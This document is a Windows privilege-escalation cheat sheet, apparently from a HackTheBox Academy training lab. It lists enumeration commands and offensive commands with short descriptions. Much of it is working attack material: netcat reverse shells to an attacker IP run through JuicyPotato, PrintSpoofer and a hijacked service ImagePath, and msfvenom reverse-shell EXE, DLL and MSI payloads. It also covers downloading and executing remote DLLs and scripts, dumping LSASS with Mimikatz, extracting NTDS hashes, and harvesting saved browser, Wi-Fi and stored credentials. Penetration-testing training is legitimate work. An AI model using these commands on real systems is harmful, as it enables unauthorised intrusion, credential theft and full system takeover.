Window Privesc
Initial Enumeration
Command
Description
xfreerdp /v:<target ip> /u:htb-student
RDP to lab target
ipconfig /all
Get interface, IP address and DNS information
arp -a
Review ARP table
route print
Review routing table
Get-MpComputerStatus
Check Windows Defender status
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
List AppLocker rules
Get-AppLockerPolicy -Local | Test-AppLockerPolicy -path C:\Windows\System32\cmd.exe -User Everyone
Test AppLocker policy
set
Display all environment variables
systeminfo
View detailed system configuration information
wmic qfe
Get patches and updates
wmic product get name
Get installed programs
tasklist /svc
Display running processes
query user
Get logged-in users
echo %USERNAME%
Get current user
whoami /priv
View current user privileges
whoami /groups
View current user group information
net user
Get all system users
net localgroup
Get all system groups
net localgroup administrators
View details about a group
net accounts
Get passsword policy
netstat -ano
Display active network connections
pipelist.exe /accepteula
List named pipes
gci \\.\pipe\
List named pipes with PowerShell
accesschk.exe /accepteula \\.\Pipe\lsass -v
Review permissions on a named pipe
Handy Commands
Command
Description
mssqlclient.py sql_dev@10.129.43.30 -windows-auth
Connect using mssqlclient.py
enable_xp_cmdshell
Enable xp_cmdshell with mssqlclient.py
xp_cmdshell whoami
Run OS commands with xp_cmdshell
c:\tools\JuicyPotato.exe -l 53375 -p c:\windows\system32\cmd.exe -a "/c c:\tools\nc.exe 10.10.14.3 443 -e cmd.exe" -t *
Escalate privileges with JuicyPotato
c:\tools\PrintSpoofer.exe -c "c:\tools\nc.exe 10.10.14.3 8443 -e cmd"
Escalating privileges with PrintSpoofer
procdump.exe -accepteula -ma lsass.exe lsass.dmp
Take memory dump with ProcDump
sekurlsa::minidump lsass.dmp
and sekurlsa::logonpasswords
Use MimiKatz to extract credentials from LSASS memory dump
dir /q C:\backups\wwwroot\web.config
Checking ownership of a file
takeown /f C:\backups\wwwroot\web.config
Taking ownership of a file
Get-ChildItem -Path ‘C:\backups\wwwroot\web.config’ | select name,directory, @{Name=“Owner”;Expression={(Ge t-ACL $_.Fullname).Owner}}
Confirming changed ownership of a file
icacls “C:\backups\wwwroot\web.config” /grant htb-student:F
Modifying a file ACL
secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL
Extract hashes with secretsdump.py
robocopy /B E:\Windows\NTDS .\ntds ntds.dit
Copy files with ROBOCOPY
wevtutil qe Security /rd:true /f:text | Select-String "/user"
Searching security event logs
wevtutil qe Security /rd:true /f:text /r:share01 /u:julie.clay /p:Welcome1 | findstr "/user"
Passing credentials to wevtutil
Get-WinEvent -LogName security | where { $_.ID -eq 4688 -and $_.Properties[8].Value -like '*/user*' } | Select-Object @{name='CommandLine';expression={ $_.Properties[8].Value }}
Searching event logs with PowerShell
msfvenom -p windows/x64/exec cmd='net group "domain admins" netadm /add /domain' -f dll -o adduser.dll
Generate malicious DLL
dnscmd.exe /config /serverlevelplugindll adduser.dll
Loading a custom DLL with dnscmd
wmic useraccount where name="netadm" get sid
Finding a user's SID
sc.exe sdshow DNS
Checking permissions on DNS service
sc stop dns
Stopping a service
sc start dns
Starting a service
reg query \\10.129.43.9\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters
Querying a registry key
reg delete \\10.129.43.9\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters /v ServerLevelPluginDll
Deleting a registry key
sc query dns
Checking a service status
Set-DnsServerGlobalQueryBlockList -Enable $false -ComputerName dc01.inlanefreight.local
Disabling the global query block list
Add-DnsServerResourceRecordA -Name wpad -ZoneName inlanefreight.local -ComputerName dc01.inlanefreight.local -IPv4Address 10.10.14.3
Adding a WPAD record
cl /DUNICODE /D_UNICODE EnableSeLoadDriverPrivilege.cpp
Compile with cl.exe
reg add HKCU\System\CurrentControlSet\CAPCOM /v ImagePath /t REG_SZ /d "\??\C:\Tools\Capcom.sys"
Add reference to a driver (1)
reg add HKCU\System\CurrentControlSet\CAPCOM /v Type /t REG_DWORD /d 1
Add reference to a driver (2)
.\DriverView.exe /stext drivers.txt
and cat drivers.txt | Select-String -pattern Capcom
Check if driver is loaded
EoPLoadDriver.exe System\CurrentControlSet\Capcom c:\Tools\Capcom.sys
Using EopLoadDriver
c:\Tools\PsService.exe security AppReadiness
Checking service permissions with PsService
sc config AppReadiness binPath= "cmd /c net localgroup Administrators server_adm /add"
Modifying a service binary path
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA
Confirming UAC is enabled
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin
Checking UAC level
[environment]::OSVersion.Version
Checking Windows version
cmd /c echo %PATH%
Reviewing path variable
curl http://10.10.14.3:8080/srrstr.dll -O "C:\Users\sarah\AppData\Local\Microsoft\WindowsApps\srrstr.dll"
Downloading file with cURL in PowerShell
rundll32 shell32.dll,Control_RunDLL C:\Users\sarah\AppData\Local\Microsoft\WindowsApps\srrstr.dll
Executing custom dll with rundll32.exe
.\SharpUp.exe audit
Running SharpUp
icacls "C:\Program Files (x86)\PCProtect\SecurityService.exe"
Checking service permissions with icacls
cmd /c copy /Y SecurityService.exe "C:\Program Files (x86)\PCProtect\SecurityService.exe"
Replace a service binary
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """
Searching for unquoted service paths
accesschk.exe /accepteula "mrb3n" -kvuqsw hklm\System\CurrentControlSet\services
Checking for weak service ACLs in the Registry
Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\ModelManagerService -Name "ImagePath" -Value "C:\Users\john\Downloads\nc.exe -e cmd.exe 10.10.10.205 443"
Changing ImagePath with PowerShell
Get-CimInstance Win32_StartupCommand | select Name, command, Location, User | fl
Check startup programs
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.10.14.3 LPORT=8443 -f exe > maintenanceservice.exe
Generating a malicious binary
get-process -Id 3324
Enumerating a process ID with PowerShell
get-service | ? {$_.DisplayName -like 'Druva*'}
Enumerate a running service by name with PowerShell
Credential Theft
Command
Description
findstr /SIM /C:"password" *.txt *ini *.cfg *.config *.xml
Search for files with the phrase "password"
gc 'C:\Users\htb-student\AppData\Local\Google\Chrome\User Data\Default\Custom Dictionary.txt' | Select-String password
Searching for passwords in Chrome dictionary files
(Get-PSReadLineOption).HistorySavePath
Confirm PowerShell history save path
gc (Get-PSReadLineOption).HistorySavePath
Reading PowerShell history file
$credential = Import-Clixml -Path 'C:\scripts\pass.xml'
Decrypting PowerShell credentials
cd c:\Users\htb-student\Documents & findstr /SI /M "password" *.xml *.ini *.txt
Searching file contents for a string
findstr /si password *.xml *.ini *.txt *.config
Searching file contents for a string
findstr /spin "password" *.*
Searching file contents for a string
select-string -Path C:\Users\htb-student\Documents\*.txt -Pattern password
Search file contents with PowerShell
dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
Search for file extensions
where /R C:\ *.config
Search for file extensions
Get-ChildItem C:\ -Recurse -Include *.rdp, *.config, *.vnc, *.cred -ErrorAction Ignore
Search for file extensions using PowerShell
cmdkey /list
List saved credentials
.\SharpChrome.exe logins /unprotect
Retrieve saved Chrome credentials
.\lazagne.exe -h
View LaZagne help menu
.\lazagne.exe all
Run all LaZagne modules
Invoke-SessionGopher -Target WINLPE-SRV01
Running SessionGopher
netsh wlan show profile
View saved wireless networks
netsh wlan show profile ilfreight_corp key=clear
Retrieve saved wireless passwords
Other Commands
Command
Description
certutil.exe -urlcache -split -f http://10.10.14.3:8080/shell.bat shell.bat
Transfer file with certutil
certutil -encode file1 encodedfile
Encode file with certutil
certutil -decode encodedfile file2
Decode file with certutil
reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer
Query for always install elevated registry key (1)
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer
Query for always install elevated registry key (2)
msfvenom -p windows/shell_reverse_tcp lhost=10.10.14.3 lport=9443 -f msi > aie.msi
Generate a malicious MSI package
msiexec /i c:\users\htb-student\desktop\aie.msi /quiet /qn /norestart
Executing an MSI package from command line
schtasks /query /fo LIST /v
Enumerate scheduled tasks
Get-ScheduledTask | select TaskName,State
Enumerate scheduled tasks with PowerShell
.\accesschk64.exe /accepteula -s -d C:\Scripts\
Check permissions on a directory
Get-LocalUser
Check local user description field
Get-WmiObject -Class Win32_OperatingSystem | select Description
Enumerate computer description field
guestmount -a SQL01-disk1.vmdk -i --ro /mnt/vmd
Mount VMDK on Linux
guestmount --add WEBSRV10.vhdx --ro /mnt/vhdx/ -m /dev/sda1
Mount VHD/VHDX on Linux
sudo python2.7 windows-exploit-suggester.py --update
Update Windows Exploit Suggester database
python2.7 windows-exploit-suggester.py --database 2021-05-13-mssb.xls --systeminfo win7lpe-systeminfo.txt
Running Windows Exploit Suggester
Last updated